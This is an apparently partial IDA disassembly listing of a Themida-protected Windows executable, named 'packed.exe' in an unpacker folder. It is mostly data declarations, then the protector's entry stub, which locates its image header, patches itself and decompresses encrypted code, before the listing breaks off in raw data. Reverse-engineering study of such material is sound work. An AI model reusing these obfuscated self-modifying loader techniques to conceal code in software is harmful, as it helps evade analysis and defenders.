sub_4089E7+232r ... align 10h dword_43F720 dd 0 ; DATA XREF: sub_40981F+909w ; sub_40981F+91Dr ... dword_43F724 dd 0 ; DATA XREF: sub_40981F+99w ; sub_40981F+EAr ... dword_43F728 dd 0 ; DATA XREF: sub_40981F:loc_40991Dw ; sub_40981F+12Bw ... dword_43F72C dd 0 ; DATA XREF: sub_40981F+126w ; sub_40A4AC+1Cr dword_43F730 dd 0 ; DATA XREF: sub_40981F:loc_409A0Dw ; sub_40981F:loc_409A74w ... dword_43F734 dd 0 ; DATA XREF: sub_40981F+250w ; sub_40A4AC+50r dword_43F738 dd 0 ; DATA XREF: sub_40981F:loc_409B09w ; sub_40981F:loc_409B4Ew ... dword_43F73C dd 0 ; DATA XREF: sub_40981F+400w ; sub_40A4AC+84r dword_43F740 dd 0 ; DATA XREF: sub_40981F:loc_409D05w ; sub_40A4AC:loc_40A55Cr dword_43F744 dd 0 ; DATA XREF: sub_40981F+4E1w ; sub_40A4AC+B8r dword_43F748 dd 0 ; DATA XREF: sub_40981F:loc_409FD6w ; sub_40A4AC:loc_40A590r dword_43F74C dd 0 ; DATA XREF: sub_40981F+7B2w ; sub_40A4AC+ECr dword_43F750 dd 0 ; DATA XREF: sub_40981F:loc_40A0C1w ; sub_40981F+8D1w ... dword_43F754 dd 0 ; DATA XREF: sub_40981F+8CCw ; sub_40A4AC+120r dword_43F758 dd 0 ; DATA XREF: sub_40981F:loc_40A155w ; sub_40A4AC:loc_40A5F8r ... dword_43F75C dd 0 ; DATA XREF: sub_40981F+931w ; sub_40A4AC+154r dword_43F760 dd 0 ; DATA XREF: sub_40981F:loc_40A260w ; sub_40A4AC:loc_40A62Cr ... dword_43F764 dd 0 ; DATA XREF: sub_40981F+A3Cw ; sub_40A4AC+188r dword_43F768 dd 0 ; DATA XREF: sub_40981F:loc_40A2AAw ; sub_40A4AC:loc_40A660r dword_43F76C dd 0 ; DATA XREF: sub_40981F+A86w ; sub_40A4AC+1BCr dword_43F770 dd 0 ; DATA XREF: sub_40981F:loc_40A2F4w ; sub_40A4AC:loc_40A694r dword_43F774 dd 0 ; DATA XREF: sub_40981F+AD0w ; sub_40A4AC+1F0r dword_43F778 dd 0 ; DATA XREF: sub_40981F:loc_40A368w ; sub_40A4AC:loc_40A6C8r dword_43F77C dd 0 ; DATA XREF: sub_40981F+B44w ; sub_40A4AC+224r dword_43F780 dd 0 ; DATA XREF: sub_40981F:loc_40A3B2w ; sub_40A4AC:loc_40A6FCr dword_43F784 dd 0 ; DATA XREF: sub_40981F+B8Ew ; sub_40A4AC+258r dword_43F788 dd 0 ; DATA XREF: sub_40981F:loc_40A450w ; sub_40A4AC:loc_40A730r dword_43F78C dd 0 ; DATA XREF: sub_40981F+C2Cw ; sub_40A4AC+28Cr dword_43F790 dd 0 ; DATA XREF: sub_40981F:loc_40A49Aw ; sub_40A4AC:loc_40A764r dword_43F794 dd 0 ; DATA XREF: sub_40981F+C76w ; sub_40A4AC+2C0r dword_43F798 dd 81h dup(0) ; DATA XREF: sub_40AA35+6Ao dword_43F99C dd 5 dup(0) ; DATA XREF: sub_40AEE0+32o dword_43F9B0 dd 0 ; DATA XREF: sub_40B328:loc_40B349r ; sub_40B417+54r ... dword_43F9B4 dd 0 ; DATA XREF: sub_40B328r ; sub_40B417+37r ... dword_43F9B8 dd 0 ; DATA XREF: sub_40B358+1Ar ; sub_40B56C+83o dword_43F9BC dd 0 ; DATA XREF: sub_40B328:loc_40B33Cr ; sub_40B56C+11Bw dword_43F9C0 dd 0Dh dup(0) ; DATA XREF: sub_40B417+13o ; sub_40B56C:loc_40B6A9o dword_43F9F4 dd 0 ; DATA XREF: sub_40B417+CDr ; sub_40B417+ECr ... dd 0 dword_43F9FC dd 0Eh dup(0) ; DATA XREF: sub_40B721+47o dword_43FA34 dd 1000h dup(0) ; DATA XREF: sub_40BF6D+1Do ; sub_40C00Do ... dword_443A34 dd 0 ; DATA XREF: sub_40BF6D+13o ; sub_40C00D+Eo ... dword_443A38 dd 0Eh dup(0) ; DATA XREF: sub_40D01A+Fo dword_443A70 dd 2 dup(0) ; DATA XREF: sub_40D3A5+C8o dword_443A78 dd 17h dup(0) ; DATA XREF: sub_40D835:loc_40D952o ; sub_40D835+131o ... dword_443AD4 dd 80h dup(0) ; DATA XREF: sub_40E5EB+7Co ; sub_40E5EB+A5o dword_443CD4 dd 0 ; DATA XREF: sub_40DBB0+45w ; sub_40DBB0+4Dr ... dword_443CD8 dd 17h dup(0) ; DATA XREF: sub_40E4B7:loc_40E5D9o ; sub_40E4B7+12Do dword_443D34 dd 80h dup(0) ; DATA XREF: sub_40DAF0+4Co ; sub_40DAF0+7Eo ... byte_443F34 db 0 ; DATA XREF: sub_40DBB0+29r ; sub_40DBB0+34w align 4 dword_443F38 dd 80h dup(0) ; DATA XREF: sub_40DE07+61o ; sub_40DE07+89o ... dword_444138 dd 82h dup(0) ; DATA XREF: sub_40D719:loc_40D751o ; sub_40D719+5Bo dword_444340 dd 0 ; DATA XREF: sub_40BE75+Ao ; sub_40BE75+44r ... dd 5 dup(0) dword_444358 dd 0 ; DATA XREF: sub_40BE75+60r ; sub_40EE72+BD6r dd 2D9h dup(0) dword_444EC0 dd 0 ; DATA XREF: sub_407767+A8r ; sub_40BE75+2Do ... dd 7Fh dup(0) dword_4450C0 dd 0 ; DATA XREF: sub_416D5C+41w ; sub_416E97+40w ... dword_4450C4 dd 0 ; DATA XREF: sub_4060D0+23Bw ; sub_407767:loc_4077AEr ... dword_4450C8 dd 0 ; DATA XREF: sub_40B56C+164w ; sub_416810+AEw ... dword_4450CC dd 0 ; DATA XREF: sub_402688+E0w ; sub_405AF2+7Ew ... dword_4450D0 dd 0 ; DATA XREF: ___:00407E84w ; ___:00407FA0r ... dword_4450D4 dd 0 ; DATA XREF: sub_4060D0+268w ; sub_407252+122w ... byte_4450D8 db 0 ; DATA XREF: sub_40EB92+91o ; sub_40EE72+3359r ... align 4 dd 19Dh dup(0) dword_445750 dd 29F6h dup(0) ; DATA XREF: ___:off_42A2D0o db 3 dup(0) byte_44FF2B db 0 ; DATA XREF: Themida_:004F9755o dd 48h dup(0) db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:0042CCA8o dword_450050 dd 0E700h dup(0) dword_489C50 dd 0 ; DATA XREF: sub_407110:loc_40717Er ; ___:0040E6E3w ... align 8 dword_489C58 dd 0 ; DATA XREF: ___:loc_40EAA4o dword_489C5C dd 20h dup(0) ; DATA XREF: ___:0040EA3Co ; ___:0040EAF5o ... dword_489CDC dd 10h dup(0) ; DATA XREF: ___:0040EA53o ; sub_40EE72+929o dword_489D1C dd 24h dup(0) ; DATA XREF: ___:0040EA6Ao dword_489DAC dd 0 ; DATA XREF: ___:0040EA5Ew ; ___:0040EB0Cw ... dword_489DB0 dd 0 ; DATA XREF: ___:0040EA7Dw align 10h dword_489DC0 dd 0 ; DATA XREF: sub_40EB92+72r ; sub_40EE72+273r align 8 byte_489DC8 db 0 ; DATA XREF: sub_40ECFA+28r ; sub_40ECFA+30o align 4 dword_489DCC dd 0 ; DATA XREF: ___:0040EAA9w ; ___:0040EAC0r ... dword_489DD0 dd 0 ; DATA XREF: ___:0040EA41w ; sub_40EE72+8CAr dd 2 dup(0) dword_489DDC dd 0 ; DATA XREF: ___:004155C6r dd 0 dword_489DE4 dd 1Bh dup(0) ; DATA XREF: sub_415D6A+8Do dword_489E50 dd 0 ; DATA XREF: sub_416FA4+16o ; sub_416FC3+19o dword_489E54 dd 65h dup(0) ; DATA XREF: sub_416F57+3Do byte_489FE8 db 0 ; DATA XREF: sub_416C55+6Ar ; sub_416C55+98w align 4 dd 2 dup(0) dword_489FF4 dd 0 ; DATA XREF: sub_417D73+Aw dword_489FF8 dd 0 ; DATA XREF: sub_4186B1+5Er ; sub_4186B1+A4w align 10h word_48A000 dw 0 ; DATA XREF: sub_4186B1+55r ; sub_4186B1+9Ao word_48A002 dw 0 ; DATA XREF: sub_4186B1+48r db 2 dup(0) word_48A006 dw 0 ; DATA XREF: sub_4186B1+3Br word_48A008 dw 0 ; DATA XREF: sub_4186B1+2Er word_48A00A dw 0 ; DATA XREF: sub_4186B1+21r align 10h dword_48A010 dd 0 ; DATA XREF: sub_418B6E+3Br ; sub_418B6E+91w dword_48A014 dd 0 ; DATA XREF: sub_418833+1B9w ; sub_418D0E:loc_418D8Aw ... dword_48A018 dd 0 ; DATA XREF: sub_4197F9+35w ; sub_41A6B7:loc_41A751w ... dword_48A01C dd 0 ; DATA XREF: sub_41FEC6+13Ar dd 0A28h, 501h, 5, 1 dword_48A030 dd 1 ; DATA XREF: ___:loc_40E98Cr ; ___:0041F2D1w dword_48A034 dd 23E0B30h ; DATA XREF: ___:0040E995r ; ___:0040E9B5r ... dd 0 dword_48A03C dd 23E0B58h ; DATA XREF: ___:0041F1CBw ; sub_421DAE+9r ... dword_48A040 dd 0 ; DATA XREF: sub_422492+36r dword_48A044 dd 0 ; DATA XREF: sub_421DAE+16r ; sub_42217C+4r ... dd 0 off_48A04C dd offset aCM_unpackerPac ; DATA XREF: ___:0041F26Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_48A054 db 0 ; DATA XREF: sub_419B07+2Dw ; sub_41FAE7+5r align 4 dword_48A058 dd 0 ; DATA XREF: sub_419B07+27w dword_48A05C dd 0 ; DATA XREF: sub_419B07+4r ; sub_419B07+8Bw dword_48A060 dd 0 ; DATA XREF: ___:loc_41F199r ; ___:loc_41F1DBr ... align 8 dword_48A068 dd 0 ; DATA XREF: sub_419CDAr sub_41F84Cr ... dword_48A06C dd 0 ; DATA XREF: sub_41A8A2+37r dd 0 dword_48A074 dd 0 ; DATA XREF: sub_417B89r ; sub_41944F:loc_41956Br ... dword_48A078 dd 0 ; DATA XREF: sub_41AB54r dword_48A07C dd 0 ; DATA XREF: sub_41BA22+4Bw ; sub_41BB3B+2Dw ... dword_48A080 dd 0 ; DATA XREF: sub_41C96D+11r ; sub_41CA71+1Ar ... byte_48A084 db 0 ; DATA XREF: sub_41C96D+3r ; sub_41C96D+98r ... align 4 dword_48A088 dd 0 ; DATA XREF: sub_41CA71+11r ; sub_41CB4F+21w ... byte_48A08C db 0 ; DATA XREF: sub_41CB4F+51w align 10h dword_48A090 dd 0 ; DATA XREF: sub_41CD45+4Er ; sub_41D120+3Ar ... dword_48A094 dd 0 ; DATA XREF: sub_41CD45+5Cr ; sub_41D120+43r ... dword_48A098 dd 0 ; DATA XREF: sub_417FFA+7Ar ; sub_41CEEC+5r dword_48A09C dd 0 ; DATA XREF: sub_41D4FC+29r dword_48A0A0 dd 2 dup(0) ; DATA XREF: sub_418790+Co dword_48A0A8 dd 0 ; DATA XREF: sub_419063+4r ; sub_419063+6Er ... dd 3 dup(0) dword_48A0B8 dd 0 ; DATA XREF: sub_4199B9+61r ; sub_4199B9+BFr ... align 10h dword_48A0C0 dd 1 ; DATA XREF: sub_41E709+28r ; sub_41E709+4Cw ... dword_48A0C4 dd 1 ; DATA XREF: sub_41E92D:loc_41EAA8r ; sub_41EAC6+4w ... dword_48A0C8 dd 0 ; DATA XREF: ___:0041EFE5r ; ___:0041EFF1w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_41F257o ; ___:off_48A04Co align 4 dd 3Ah dup(0) dword_48A1D0 dd 1 ; DATA XREF: ___:0041F48Fr ; ___:0041F4B0w ... dword_48A1D4 dd 0 ; DATA XREF: sub_41F84C+21r dword_48A1D8 dd 0 ; DATA XREF: sub_41A8A2:loc_41A8CBw ; sub_41A96C+154w ... dword_48A1DC dd 1 ; DATA XREF: sub_41FB63+26r ; sub_41FB63:loc_41FBCDw dword_48A1E0 dd 0 ; DATA XREF: sub_41A96C+7r align 8 word_48A1E8 dw 0 ; DATA XREF: sub_42074B+1Ao ; sub_42074B+46r byte_48A1EA db 0 ; DATA XREF: sub_42074B+39r align 4 dword_48A1EC dd 7 dup(0) ; DATA XREF: sub_42074B+52o dword_48A208 dd 0 ; DATA XREF: sub_42074B+40w ; sub_42074B+5Co dword_48A20C dd 0 ; DATA XREF: sub_42074B+4Dw dword_48A210 dd 0 ; DATA XREF: sub_42074B+31w dword_48A214 dd 0 ; DATA XREF: sub_42074B+52w dword_48A218 dd 77C26E79h ; DATA XREF: sub_42086E:loc_420891r ; sub_42086E+38r align 10h dword_48A220 dd 0 ; DATA XREF: sub_42094E+11w ; sub_42094E+63w ... align 8 dword_48A228 dd 0 ; DATA XREF: sub_42094E+33o ; sub_42094E+46r dword_48A22C dd 10h dup(0) ; DATA XREF: sub_42094E+C1o word_48A26C dw 0 ; DATA XREF: sub_420BAC+A8r word_48A26E dw 0 ; DATA XREF: sub_42094E+54r ; sub_420BAC+DBr ... word_48A270 dw 0 ; DATA XREF: sub_420BAC+CAr word_48A272 dw 0 ; DATA XREF: sub_420BAC+D3r ; sub_420BAC:loc_420C9Er word_48A274 dw 0 ; DATA XREF: sub_420BAC+C0r word_48A276 dw 0 ; DATA XREF: sub_420BAC+B8r word_48A278 dw 0 ; DATA XREF: sub_420BAC+B0r word_48A27A dw 0 ; DATA XREF: sub_420BAC+9Er dword_48A27C dd 0 ; DATA XREF: sub_42094E+4Br dword_48A280 dd 10h dup(0) ; DATA XREF: sub_42094E+FBo word_48A2C0 dw 0 ; DATA XREF: sub_420BAC+46r word_48A2C2 dw 0 ; DATA XREF: sub_42094E:loc_4209C5r ; sub_420BAC+78r ... word_48A2C4 dw 0 ; DATA XREF: sub_420BAC+67r word_48A2C6 dw 0 ; DATA XREF: sub_420BAC+70r ; sub_420BAC:loc_420C30r word_48A2C8 dw 0 ; DATA XREF: sub_420BAC+5Dr word_48A2CA dw 0 ; DATA XREF: sub_420BAC+55r word_48A2CC dw 0 ; DATA XREF: sub_420BAC+4Dr word_48A2CE dw 0 ; DATA XREF: sub_420BAC+3Er dword_48A2D0 dd 0 ; DATA XREF: sub_42094E+80r dword_48A2D4 dd 0 ; DATA XREF: sub_42094E+132r ; sub_42094E:loc_420A9Ar ... dword_48A2D8 dd 0 ; DATA XREF: sub_420939r sub_420939+Ew dword_48A2DC dd 0 ; DATA XREF: sub_42105F+3r ; sub_42105F+2Ew ... dword_48A2E0 dd 0 ; DATA XREF: sub_42105F+43w ; sub_42105F:loc_4210AEr dword_48A2E4 dd 0 ; DATA XREF: sub_42105F+4Aw ; sub_42105F+60r dword_48A2E8 dd 0 ; DATA XREF: sub_41FEC6+3Fr dword_48A2EC dd 0 ; DATA XREF: sub_421C3C:loc_421CA3r ; sub_421C3C+6Do dword_48A2F0 dd 0 ; DATA XREF: sub_421C3C:loc_421C7Ar ; sub_421C3C+44o dword_48A2F4 dd 0 ; DATA XREF: sub_421C3C:loc_421C6Dr ; sub_421C3C+37o dword_48A2F8 dd 0 ; DATA XREF: sub_421C3C:loc_421C87r ; sub_421C3C+51o align 10h dword_48A300 dd 0 ; DATA XREF: sub_4221EA+28r ; sub_4221EA+48w ... dword_48A304 dd 0 ; DATA XREF: sub_422C78+28r ; sub_422C78+4Cw ... dword_48A308 dd 0 ; DATA XREF: sub_422F03+26r ; sub_422F03:loc_422F6Dw byte_48A30C db 0 ; DATA XREF: sub_40482Cr sub_40482C+9w align 10h dword_48A310 dd 23E1140h ; DATA XREF: sub_41A835:loc_41A846r ; sub_41AADC+14r ... align 10h dword_48A320 dd 400h dup(0) ; DATA XREF: ___:off_43BCB8o ; ___:0043BCC0o dword_48B320 dd 200h ; DATA XREF: sub_41A835+9r ; sub_41A835+56r ... dd 7 dup(0) dword_48B340 dd 23E0650h ; DATA XREF: sub_419D23+B1r ; sub_41E248+75r ... dword_48B344 dd 3Fh dup(0) ; DATA XREF: ___:0041F651o dword_48B440 dd 20h ; DATA XREF: sub_41A6B7+8r ; sub_41E321+Cr ... dword_48B444 dd 4E4h ; DATA XREF: sub_41E92D+14r ; sub_41E92D+65w ... align 10h dword_48B450 dd 3 dup(0) ; DATA XREF: sub_41E92D+123o ; sub_41E92D+171o ... dword_48B45C dd 0 ; DATA XREF: sub_41E92D+108w ; sub_41E92D+15Dw ... byte_48B460 db 0 ; DATA XREF: sub_41EB6C:loc_41EC78w ; sub_41EB6C:loc_41EC95w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_48B560 db 0 ; DATA XREF: sub_41E92D+5Co ; sub_41E92D+AFo ... byte_48B561 db 0 ; DATA XREF: sub_4192B8+5Dr ; sub_41E92D+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_48B664 dd 0 ; DATA XREF: sub_41E92D+6Ew ; sub_41E92D+12Bw ... dword_48B668 dd 0 ; DATA XREF: sub_41B3E6+5r ; sub_41B3E6+32w dword_48B66C dd 0 ; DATA XREF: sub_41ADB4+23Ar ; sub_41ADB4+25Ar ... dword_48B670 dd 0 ; DATA XREF: sub_41ADB4+311w ; sub_41B0DD:loc_41B12Dr ... dword_48B674 dd 0 ; DATA XREF: sub_41ADB4+22Dr ; sub_41ADB4+260r ... dword_48B678 dd 0 ; DATA XREF: sub_41AD89r ; sub_41ADB4+2CBr ... dword_48B67C dd 0 ; DATA XREF: sub_41AD89+8r ; sub_41ADB4+2D0r ... dword_48B680 dd 0 ; DATA XREF: sub_417BC7+Fr ; sub_41944F+5Cr ... dword_48B684 dd 23E0000h ; DATA XREF: sub_417BC7+66r ; sub_417C3B+5Ar ... dword_48B688 dd 1 ; DATA XREF: sub_417BC7r sub_417C3B+Cr ... dword_48B68C dd 142340h ; DATA XREF: ___:0041F13Er ; ___:0041F269r dword_48B690 dd 1 ; DATA XREF: ___:0041F234w sub_421DAEr dword_48B694 dd 1 ; DATA XREF: sub_41ECF1r ; sub_41ECF1+11w ... dword_48B698 dd 23E0758h ; DATA XREF: sub_418603+13r ; sub_418603:loc_418645r ... dword_48B69C dd 23E0758h ; DATA XREF: sub_418603+1r ; sub_418603+Cr ... dd 258h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 0008D000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 0008D000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 48D000h align 2000h _rsrc___ ends ; Section 3. (virtual address 0008E000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 0008E000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 48E000h a7icwCw db '7w\w',0 align 4 dd 77345219h, 4 dup(0) dd 8E050h, 8E000h, 3 dup(0) dd 8E079h, 8E00Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 0008F000) ; Virtual size : 000DD000 ( 905216.) ; Section size in file : 000DD000 ( 905216.) ; Offset to raw data for section: 0008F000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 48F000h dd 0D4B46CB4h, 4D484h, 52BB3h, 0C4172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 0048F265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004EB08D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004EE35A SIZE 00000062 BYTES ; FUNCTION CHUNK AT 004EE5D0 SIZE 00000047 BYTES mov eax, 0 pusha or eax, eax jz short loc_48F086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_48F041 popa jmp short loc_48F076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h dd 0FF0048F0h, 0FFFFFFFFh, 3DFFFFFFh db 40h ; --------------------------------------------------------------------------- loc_48F041: ; CODE XREF: start+18j call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_48F04E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_48F06D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_48F074 loc_48F06D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_48F04E ; --------------------------------------------------------------------------- loc_48F074: ; CODE XREF: start+57j mov edi, eax loc_48F076: ; CODE XREF: start+1Bj jmp loc_48F265 ; --------------------------------------------------------------------------- db 3 dd 0F26AB9C7h, 0CF030008h db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_48F086: ; CODE XREF: start+8j mov eax, offset loc_4EB08D mov ecx, offset word_48F26A push eax push ecx call sub_48F11B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_48F265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_48F11B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_48F127: ; CODE XREF: sub_48F11B:loc_48F13Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_48F132: ; CODE XREF: sub_48F11B+7Aj ; sub_48F11B+C3j ... add dl, dl jnz short loc_48F13B mov dl, [esi] inc esi adc dl, dl loc_48F13B: ; CODE XREF: sub_48F11B+19j jnb short loc_48F127 add dl, dl jnz short loc_48F146 mov dl, [esi] inc esi adc dl, dl loc_48F146: ; CODE XREF: sub_48F11B+24j jnb short loc_48F197 xor eax, eax add dl, dl jnz short loc_48F153 mov dl, [esi] inc esi adc dl, dl loc_48F153: ; CODE XREF: sub_48F11B+31j jnb loc_48F238 add dl, dl jnz short loc_48F162 mov dl, [esi] inc esi adc dl, dl loc_48F162: ; CODE XREF: sub_48F11B+40j adc eax, eax add dl, dl jnz short loc_48F16D mov dl, [esi] inc esi adc dl, dl loc_48F16D: ; CODE XREF: sub_48F11B+4Bj adc eax, eax add dl, dl jnz short loc_48F178 mov dl, [esi] inc esi adc dl, dl loc_48F178: ; CODE XREF: sub_48F11B+56j adc eax, eax add dl, dl jnz short loc_48F183 mov dl, [esi] inc esi adc dl, dl loc_48F183: ; CODE XREF: sub_48F11B+61j adc eax, eax jz short loc_48F18D push edi sub edi, eax mov al, [edi] pop edi loc_48F18D: ; CODE XREF: sub_48F11B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_48F132 ; --------------------------------------------------------------------------- loc_48F197: ; CODE XREF: sub_48F11B:loc_48F146j mov eax, 1 loc_48F19C: ; CODE XREF: sub_48F11B:loc_48F1B0j add dl, dl jnz short loc_48F1A5 mov dl, [esi] inc esi adc dl, dl loc_48F1A5: ; CODE XREF: sub_48F11B+83j adc eax, eax add dl, dl jnz short loc_48F1B0 mov dl, [esi] inc esi adc dl, dl loc_48F1B0: ; CODE XREF: sub_48F11B+8Ej jb short loc_48F19C sub eax, ebx mov ebx, 1 jnz short loc_48F1E3 mov ecx, 1 loc_48F1C0: ; CODE XREF: sub_48F11B:loc_48F1D4j add dl, dl jnz short loc_48F1C9 mov dl, [esi] inc esi adc dl, dl loc_48F1C9: ; CODE XREF: sub_48F11B+A7j adc ecx, ecx add dl, dl jnz short loc_48F1D4 mov dl, [esi] inc esi adc dl, dl loc_48F1D4: ; CODE XREF: sub_48F11B+B2j jb short loc_48F1C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_48F132 ; --------------------------------------------------------------------------- loc_48F1E3: ; CODE XREF: sub_48F11B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_48F1F1: ; CODE XREF: sub_48F11B:loc_48F205j add dl, dl jnz short loc_48F1FA mov dl, [esi] inc esi adc dl, dl loc_48F1FA: ; CODE XREF: sub_48F11B+D8j adc ecx, ecx add dl, dl jnz short loc_48F205 mov dl, [esi] inc esi adc dl, dl loc_48F205: ; CODE XREF: sub_48F11B+E3j jb short loc_48F1F1 cmp eax, 7D00h jnb short loc_48F228 cmp eax, 500h jb short loc_48F223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_48F132 ; --------------------------------------------------------------------------- loc_48F223: ; CODE XREF: sub_48F11B+F8j cmp eax, 7Fh ja short loc_48F22B loc_48F228: ; CODE XREF: sub_48F11B+F1j add ecx, 2 loc_48F22B: ; CODE XREF: sub_48F11B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_48F132 ; --------------------------------------------------------------------------- loc_48F238: ; CODE XREF: sub_48F11B:loc_48F153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_48F259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_48F132 ; --------------------------------------------------------------------------- loc_48F259: ; CODE XREF: sub_48F11B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_48F11B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_48F265: ; CODE XREF: start:loc_48F076j ; start+9Dj jmp loc_4EB08D ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_48F26A dw 38E9h ; DATA XREF: start+77o dd 15232C8h, 7122AFBEh, 0CEAF0BE1h, 0EEBB1101h, 0EE13522h dd 0F4DAF5BAh, 6552F0FBh, 61741C73h, 7041CE72h, 784F2E2Fh dd 5501299Ch, 702191F7h, 455E5D85h, 573DC224h, 5E54B7AFh dd 1003366Eh, 3430F0AFh, 0E431482Dh, 2462E9EBh, 10EA9EAh dd 848B98F8h, 0AA87AA6Ah, 0FD5F0803h, 85709211h, 87722E4h dd 0F33F957h, 0E7578F70h, 57DF0801h, 8D701111h, 54015E57h dd 696D6568h, 35C26164h, 0C58B4377h, 0E860D490h, 815D10E1h dd 32D700EDh, 95890603h, 0DC22125h, 222931B5h, 83206985h dd 830E55BDh, 8B0C7480h, 0E22FE872h, 0C2C9A7B8h, 714470BCh dd 913EC424h, 456A0130h, 2981A3E8h, 83749A68h, 40DFE907h dd 894B250Ah, 0D5440A7Ah, 21429E9h db 0ECh, 5Fh, 40h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub dword ptr [ebx], 0FFFFFFC4h fsubr st, st(6) add [edx-7Fh], ebx jmp far ptr 0C7DAh:8B0033C5h ; --------------------------------------------------------------------------- db 24h, 45h, 0D8h dd 400E6C08h, 81088963h, 1980F37Dh, 200F741Dh, 2F83FC08h dd 12FF45CCh, 0E1EB3143h, 0BA61DC36h, 0C2C90A26h, 81034604h dd 47FF7CC4h, 0E104902h, 458D0034h, 85D8B80h, 198551C7h dd 808D5012h, 88C3D10Ah, 89412A18h, 0BD81280Bh, 755D8006h dd 0A27A5E3h, 3B64BA8Dh, 8A807501h, 24F4BB0Eh, 0AB03B85Bh dd 0D3785437h, 0E0FF3D0h, 0F7754B08h, 47C3AFC1h, 184A4946h dd 42A8F946h, 8AAE61D1h, 0D7F0D081h, 4528EEF6h, 0EB284DFCh dd 46F2AD04h, 403E8031h, 844DBAF7h, 7D8634B9h, 3E7FEB0Ch dd 6D32F843h, 2A13F012h, 510F40Eh, 0F065C14Ah, 0F8D60004h dd 0C203E0D1h, 332880E5h, 301C8ADBh, 30FB7380h, 390A0A72h dd 0EBF40577h, 9F22C9FBh, 0DD96114h, 8FD660Ah, 3A7D1EBDh dd 10B00AC3h, 0B72411Ah, 77460AC3h, 88247A06h, 0F0615D01h dd 7D83F4ECh, 6C7202CCh, 76C00CB0h, 